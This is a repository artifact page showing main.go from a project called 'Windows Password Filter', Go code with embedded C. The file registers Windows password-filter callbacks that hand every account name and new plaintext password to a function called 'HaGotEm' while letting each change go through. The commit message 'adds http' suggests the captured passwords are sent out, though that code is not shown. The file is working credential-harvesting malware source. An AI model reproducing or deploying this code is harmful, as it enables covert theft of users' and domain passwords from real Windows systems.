Windows Password Filter

⌈⌋ ⎇ branch:  win-pass-filter


Artifact Content

Artifact 4c164a699b92413144df0d2eef8b8575374a5f9f62aeb85f7f64d1008a91dbec:

  • File main.go — part of check-in [87a3b602a8] at 2020-03-20 01:16:59 on branch trunk — Big update, adds http (user: brimstone size: 831)

package main

/*
#include "filter.h"
#include <windows.h>
#include <ntsecapi.h>
#include <string.h>

CRITICAL_SECTION cs;

__declspec(dllexport) BOOL NTAPI InitializeChangeNotify(void) { return TRUE; }

__declspec(dllexport) NTSTATUS NTAPI PasswordChangeNotify(PUNICODE_STRING UserName, ULONG RelativeId, PUNICODE_STRING NewPassword) {
    EnterCriticalSection(&cs);
    HaGotEm(UserName->Length, (char*)(UserName->Buffer), NewPassword->Length, (char*)(NewPassword->Buffer));
    LeaveCriticalSection(&cs);
    return 0;
}
__declspec(dllexport) BOOL NTAPI PasswordFilter(PUNICODE_STRING AccountName, PUNICODE_STRING FullName, PUNICODE_STRING Password, BOOL SetOperation) {
    HaGotEm(AccountName->Length, (char*)(AccountName->Buffer), Password->Length, (char*)(Password->Buffer));
    return TRUE;
}
*/
import "C"

func main() {}